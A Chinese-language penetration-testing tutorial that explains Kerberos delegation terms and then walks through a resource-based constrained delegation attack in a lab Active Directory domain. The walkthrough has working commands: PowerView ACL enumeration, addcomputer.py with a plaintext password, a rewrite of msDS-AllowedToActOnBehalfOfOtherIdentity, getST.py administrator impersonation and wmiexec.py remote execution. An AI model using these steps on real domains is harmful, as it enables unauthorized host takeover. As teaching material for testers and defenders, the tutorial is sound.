内网渗透--域环境下基于资源的约束委派利用

名词解释

Kerberos

Kerberos  是一种计算机网络授权协议,由MIT(麻省理工学院)开放的一套计算机软件。软件设计上采用客户端/服务器结构,并且能够进行相互认证,即客户端和服务器端均可对对方进行身份认证。可以用于防止窃听、防止重放攻击、保护数据完整性等场合,是一种应用对称密钥体制进行密钥管理的系统。

KDC

KDC是kerberos一部分,是Key Distribute Center,是负责分发密钥的中心。
KDC 包含两个部分:
AS(Authentication Server),发行TGT(Ticket-Granting Tickets )
TGS(Ticket Granting Server),发行服务凭证

S4U2SELF

S4U2self 允许服务代表特定用户向自己请求一个特殊的可转发服务票证。这是为了在用户以不使用 Kerberos 的方式对服务进行身份验证的情况下使用。在 KRB_TGS_REQ 第一次发送到 KDC 的过程中,它设置了可转发的标志,该标志要求 TGS 返回的标记为可转发的,从而能够与 S4U2proxy 扩展一起使用。在无约束委派中,使用 TGT 标识用户,但在这种情况下,S4U 扩展使用 PA-FOR-USER 结构作为"padata"预身份验证数据字段中的新类型。

S4U2PROXY

S4U2proxy调用者使用这个转发票证向 msds-allowedtodelegateto 中指定的任何 SPN 请求服务票证,假冒 S4U2self 步骤中指定的用户。KDC 检查请求的服务是否在被请求服务的 msds-allowedtodelegateto 字段中,并在该检查通过时发出票证。通过这种方式,委派"约束"到特定的目标服务。

SPN

SPN 是服务在使用 Kerberos 身份验证的网络上的唯一标识符,它由服务类、主机名和端口组成。

msDS-AllowedToActOnBehalfOfOtherIdentity

msDS-AllowedToActOnBehalfOfOtherIdentity属性作用是控制哪些用户可以模拟成域内任意用户然后向该计算机进行身份验证。

ms-ds-MachineAccountQuota

域内用户都有一个属性叫做ms-ds-MachineAccountQuota,它代表的是允许用户在域中常见计算机账户的个数,默认是10。

mS-DS-CreatorSID

这个值代表的是将计算机加入到域内的用户,具有修改msDS-AllowedToActOnBehalfOfOtherIdentity的权限。

基于资源的约束委派

什么是委派

委派一般出现在域环境中。它是一种机制,在kerberos认证的时候会涉及到。

假设有三个对象:

服务/用户主机名
用户AhostA
服务BhostB
服务ChostC

假设用户A在使用主机hostB上的服务B,这时候用户A使用了服务B的一个功能,这个功能需要让主机hostB上的服务B访问主机HostC上的服务C中专属于用户A的部分才能完成,这时候主机hostB上的服务B就需要代表用户A去访问hostC上的服务C。这整个过程就是委派。

简而言之,上述过程就是用户A委派主机hostB上的服务代表自己去访问了主机hostC上的服务C,委派需要提前在域控上进行配置,它可以理解成是一种权限。

委派的类型

  • • 非约束性委派
  • • 约束性委派
  • • 基于资源的约束性委派

基于资源的约束委派

基于资源的约束委派(RBCD)是在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性,但是请求ST的过程和传统约束委派大同小异。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制自身。也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。

利用条件:简单来说就是你获得的用户对该主机的属性具有写权限,那么这个用户就可以对该主机进行攻击。

利用过程

在获取到域内一台主机权限时,可以查看该主机用户是否对其他主机是否拥有writeacl权限,如果对某主机拥有该权限,则可以通过基于资源的约束委派拿到这台机器的system权限,验证该权限可使用Powerview进行枚举。

利用思路大致如下所示:

1. 向目标主机添加机器账户
2. 修改msDS-AllowedToActOnBehalfOfOtherIdentity值为机器账户的sid
3. 以机器账户的身份伪造成administrator申请一张访问此机器账户机器的票据,
4. 利用这张票据去申请访问修改了msDS-AllowedToActOnBehalfOfOtherIdentity属性的机器。

在演示环境中拓扑如下所示

image.png

Win 7

角色:域成员
用户:wangling
ip: 192.168.199.33

Win 10

主机名:Win10
角色:域成员
用户:dd
ip: 192.168.199.194

winserver 2019

角色:域控制器
ip: 192.168.199.28

当前已经获取到Win 7主机的系统权限,想要判断是否能进行基于资源的约束委派攻击,则可以进行如下操作

获取用户SID

powershell -exe bypass -c "import-module .\powerview.ps1;Get-DomainUser - Identity wangling -Properties objectsid"

image.png

查看用户objectsid权限

powershell -exe bypass -c "import-module .\powerview.ps1;Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match 'S-1-5-21-3558701794-647687089-843314620-1104'}"

image.png

可以看到wangling这个账户对WIN10也有writeacl权限,此时如何利用这一特殊属性呢?

创建机器账号

如果我们拥有配置某台主机msDS-AllowedToActOnBehalfOfOtherIdentity的权限与创建机器账户的权限,那我们就相当于拿到了此机器的所有权限。

msDS-AllowedToActOnBehalfOfOtherIdentity属性作用是控制哪些用户可以模拟成域内任意用户然后向该计算机进行身份验证。

为什么是机器账户,而不能是普通用户的账户?

因为攻击的时候会利用到S4U2Self协议,且该协议只适用于具有SPN的账户,普通账户不具备SPN的,而机器账户拥有SPN。

域内用户都有一个属性叫做ms-ds-MachineAccountQuota,它代表的是允许用户在域中常见计算机账户的个数,默认是10。那么这就代表我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户也就是机器账户。

我们可以查询域内计算机的mS-DS-CreatorSID,这个值代表的是将计算机加入到域内的用户,它是具有修改msDS-AllowedToActOnBehalfOfOtherIdentity的权限的,如果我们可以拿到那个用户的凭据,就可以控制那个用户添加到域内的所有的电脑。

而此时,我们拥有wangling用户的权限且凭据可抓取,并对win10这台主机的属性具有写入权限

抓取凭据

image.png

添加机器账号

python3 addcomputer.py -method SAMR -dc-ip 192.168.199.28 -computer-name admin -computer-pass qwer1234$ "GOLDSUN.com/wangling:WangL@123"

image.png

查询机器账号的SSID

powershell -exe bypass -c "import-module .\PowerView.ps1;Get-DomainComputer -Identity admin -Properties objectsid"

image.png

设置资源委派

修改msDS-AllowedToActOnBehalfOfOtherIdentity值为机器账户的sid

import-module .\powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3558701794-647687089-843314620-1601)"

以机器账户的身份伪造成administrator申请一张访问此机器账户机器的ticket(类似于白银票据),因为机器账户没有配置约束性委派,所以这张票据是不可转发的,但是在基于资源的约束性委派中,票据是否可以转发不重要,对之后对s4u2proxy不影响。

$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer win10| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

image.png

利用这张ticket去申请访问修改了msDS-AllowedToActOnBehalfOfOtherIdentity属性的机器。

powershell -exe bypass -c "import-module .\powerview.ps1;Get-DomainComputer -Identity win10 -Properties msds-allowedtoactonbehalfofotheridentity"

image.png

请求票据

python3 getST.py -spn host/win10.goldsun.com 'goldsun.com/admin$' -impersonate administrator -dc-ip 192.168.199.28

image.png

输出凭据

export KRB5CCNAME=administrator.ccache

使用wmiexec获取目标主机权限

python3 wmiexec.py goldsun.com/administrator@win10.goldsun.com -no-pass -k

作者:李忻蔚,深信服安全服务认证专家(SCSE-S),产业教育中心资深讲师,曾任职于中国电子科技网络信息安全有限公司,担任威胁情报工程师、渗透测试工程师、安全讲师;多年来为政府部门进行安全培训,安全服务;多次参与国家级、省级攻防比武的出题和保障任务,擅长Web安全、渗透测试与内网渗透方向。 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值